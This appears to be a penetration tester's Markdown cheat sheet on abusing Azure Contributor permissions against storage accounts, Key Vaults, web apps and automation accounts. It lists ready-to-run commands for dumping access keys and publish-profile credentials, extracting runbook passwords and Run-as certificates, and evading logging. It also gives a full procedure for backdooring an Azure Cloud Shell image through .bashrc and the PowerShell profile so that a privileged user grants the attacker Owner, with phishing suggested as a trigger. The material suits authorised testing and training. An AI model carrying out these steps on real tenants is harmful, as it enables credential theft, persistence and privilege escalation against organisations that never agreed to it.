Files
oscp/Necronomicon/Cloud/Azure/Contributor Permissions/PaaS Exploitation.md
T
2025-11-21 17:17:42 +01:00

6.4 KiB

  • Storage accounts

    • Contributor role has these management plane permissions and can use them to exploit the data plane:
      • Microsoft.Storage/storageAccounts/listkeys/action - read access keys of storage accounts
      • Microsoft.Storage/storageAccounts/listAccountSas/action - Generate SAS token for data plane access at storage account level
      • Microsoft.Storage/storageAccounts/listServiceSas/action - Generate SAS token for data plane access at service level
    • MicroBurst
      • Dump credentials from Azure Storage instances (can also do other accounts)
        • Get-AzPasswords -AutomationAccounts N -AppServices N -Keys N -ACR N -CosmosDB N -Verbose | Out-GridView
        • Can use the keys to access these services to extract data or other credentials
      • Open Azure Storage Explorer
        • Authenticate with name from previous command and account key
    • Lava
      • stg_blob_download - Automatically download all blob containers in subscription
    • Azure Cloud Shell
      • https://www.netspi.com/blog/technical/cloud-penetration-testing/attacking-azure-cloud-shell/
      • Mount the image to view sensitive info and also force it to execute commands the next time it is mounted (automatically when Cloud Shell starts)
      • Auth to CLI as Contributor
        • az login -u contributoruser@<domain_name> -p <contributor_user_password>
      • Start Lava
        • python3 lava.py
      • Verify permissions
        • exec priv_show
      • Scan for Cloud Shell images
        • exec stg_file_scan
      • Download files in file shares (can take a while if there are a lot)
        • exec stg_file_download - Note the download location for later
      • Exit Lava
        • exit
      • Mount IMG file
        • mount <download_location>/.cloudconsole/acc_azureadmin.img /mnt
      • Cd into mounted file, write malicious command to .bashrc or .config/PowerShell/Microsoft.PowerShell_profile.ps1
        • echo "az role assignment create --role "Owner" --assignee $(az ad user list --display-name contributoruser | jq '.[]' | jq -r '.userPrincipalName') &>/dev/null" >> .bashrc
        • echo "New-AzRoleAssignment -UserPrincipalName (Get-AzADUser -StartsWith contributoruser).UserPrincipalName -RoleDefinitionName Owner | out-null" >> .config/PowerShell/Microsoft.PowerShell_profile.ps1
      • Unmount
        • umount /mnt
      • Get name of storage account
        • az storage account list --query [].name -o tsv - look for one that starts with "cs"
        • storagename=<storage_acct_name>
      • Get access key and file share and upload image
        • key=$(az storage account keys list -n $storagename --query [0].value -o tsv)
        • csfileshare=$(az storage share list --account-key $key --account-name $storagename --query [].name -o tsv)
        • az storage file upload --account-key $key --account-name $storagename --share-name $csfileshare --path ".cloudconsole/acc_azureadmin.img" --source "<download_location>/.cloudconsole/acc_azureadmin.img"
      • Wait for privileged account to open Azure Cloud Shell, or send phishing email with a link to the shell to the user
      • Clean up Owner permissions
        • $upnsuffix=$(az ad signed-in-user show --query userPrincipalName --output tsv | sed 's/.*@//')
        • $contributoruser = "contributoruser@$upnsuffix"
        • $contributoruserid=$(az ad user list --upn $contributoruser --query [].objectId -o tsv)
        • az role assignment delete --assignee $contributoruserid --role "Owner"
      • Remember to remove backdoored command in Azure Cloud Shell
  • Key Vault

    • Contributor has no access to data plane by default, but has this permission on the management plane to give itself perms:
      • Microsoft.KeyVault/vaults/accessPolicies/write
      • OPSEC NOTE: Changing these permissions may be logged; try to use other principals that already have authorization (such as automation Run as, app registrations, and managed identities)
        • Automation accounts: Create a new runbook that uses the Run as account to access the key vault.
        • App registrations: Authenticate as the app registration and access the key vault.
        • Managed Identities: Generate REST API tokens for the identity to access the key vault with.
      • Can also add access policy that allows the account to generate a trusted certificate - used in supply-chain attack
    • MicroBurst
      • Dump sensitive info from Key Vaults by temporarily changing permissions and reverting them
        • Get-AzPasswords -AutomationAccounts N -AppServices N -Keys Y -ACR N -CosmosDB N -ModifyPolicies Y -Verbose | Out-GridView
  • Web apps

    • Collect publish profile, containing credentials
      • Get-AzWebAppPublishingProfile
      • MicroBurst
        • Get-AzPasswords -AutomationAccounts N -StorageAccounts N -Keys N -ACR N -CosmosDB N -Verbose | Out-GridView
    • Find FTP endpoint to review/modify app files:
      • az webapp deployment list-publishing-profiles --name <appname> --resource-group <group-name> --query "[? ends_with(profileName, 'FTP')].{profileName: profileName, publishUrl: publishUrl}"
    • Can use Console in Azure Portal or the SCM interface
      • $APP_NAME.scm.azurewebsites.net
        • Can auth to this with the publish profile creds
    • Keep in mind these usually have managed identities too
    • Lateral Movement in Azure App Services (netspi.com)
  • Automation Accounts

    • Review runbook code to find credentials
    • Extract stored account credentials and Run as account certificates
      • Write credential variables to job output
        • $myCredential = Get-AutomationPSCredential -Name 'Cred-1'
        • $userName = $myCredential.UserName
        • $password = $myCredential.GetNetworkCredential().Password
        • $username
        • $password
      • Export Run as certificates
        • $RunAsCert = Get-AutomationCertificate -Name 'AzureRunAsCertificate'
        • $CertificatePath = Join-Path $env:temp RunAsCertificate.pfx
        • $Cert = $RunAsCert.Export('pfx','CertificatePassword')
        • Set-Content -Value $Cert -Path $CertificatePath -Force -Encoding Byte | Write-Verbose
        • $base64string = [Convert]::ToBase64String([IO.File]::ReadAllBytes('$CertificatePath))
        • $base64string
      • MicroBurst